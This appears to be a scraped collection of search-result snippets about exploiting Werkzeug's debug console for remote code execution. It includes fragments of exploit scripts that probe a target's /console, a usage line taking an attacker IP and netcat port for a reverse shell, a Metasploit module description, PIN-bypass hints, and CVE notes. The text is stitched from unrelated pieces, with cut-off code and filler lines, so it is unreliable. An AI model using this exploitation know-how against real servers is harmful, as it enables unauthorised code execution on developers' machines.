WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode.

basePort = sys.argv[2] · · #INITIAL CONNECTION WITH THE TARGET.. · print u"\n\u001b[32;1mConnecting To The Target...\u001b[0m\n" · res = requests.get('http://%s:%s/console'% (baseUrl,basePort)) · · #Checking for Werkzeug Console.. · if "Werkzeug powered traceback interpreter" not in res.text: ·

sys.exit(1) · if 'Werkzeug powered traceback interpreter' not in resp.text: print(error_message('Werkzeug console not found!')) sys.exit(1) print(success_message('Werkzeug console successfully found!')) ·

Python script for exploiting Werkzeug Debug RCE useful for CTF - its-arun/Werkzeug-Debug-RCE

August 31, 2022 - cascadia-code/requirements.txt Line 198 in 017bde5 werkzeug==2.0.1 CVE-2022-29361 Recommended upgrade version：2.1.1

python exploit for werkzeug debug shell command execution - Fare9/PyWerkzeug-Debug-Command-Execution

2 days ago - You just have to write a python function that leaks a file content and you have your shell :) \xc2\xb7 GitHub · https://www.daehee.com/werkzeug-console-pin-exploit/

As explained by Carlos Polop in Hacktricks.xyz, this exploit is to access /console from Werkzeug when it requires a pin.

Learn more about known Werkzeug 2.1.2 vulnerabilities and licenses detected.

Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - wdahlenburg/werkzeug-debug-console-bypass

# usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 · · if len(sys.argv) != 5: · print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) · sys.exit(-1) · · · response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) · · if "Werkzeug " not in response.text: ·

January 28, 2018 - Werkzeug - 'Debug Shell' Command Execution.. remote exploit for Multiple platform

May 5, 2024 - The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances.

December 2, 2023 - During the Weekly vulnerability scan, It was found that the Werkzeug version currently used in the Python embedded version (2.2.3) contains a vulnerability that is fixed in version 3.0.1, version 2.3.8 and higher

include Msf::Exploit::Remote::... Execution', 'Description' => %q{ This module will exploit the Werkzeug debug console to put down a Python shell....

Common vulnerabilities and Exposures (CVE) · We're sorry but the CVE Website doesn't work properly without JavaScript enabled. Please enable it to continue

werkzeug (werkzeug). werkzeug is vulnerable to directory traversal. An attacker is able to access arbitrary files through the SharedDataMiddleware due to the way Python's `os.path.join()` function works on Windows.

We cannot provide a description for this page right now

We cannot provide a description for this page right now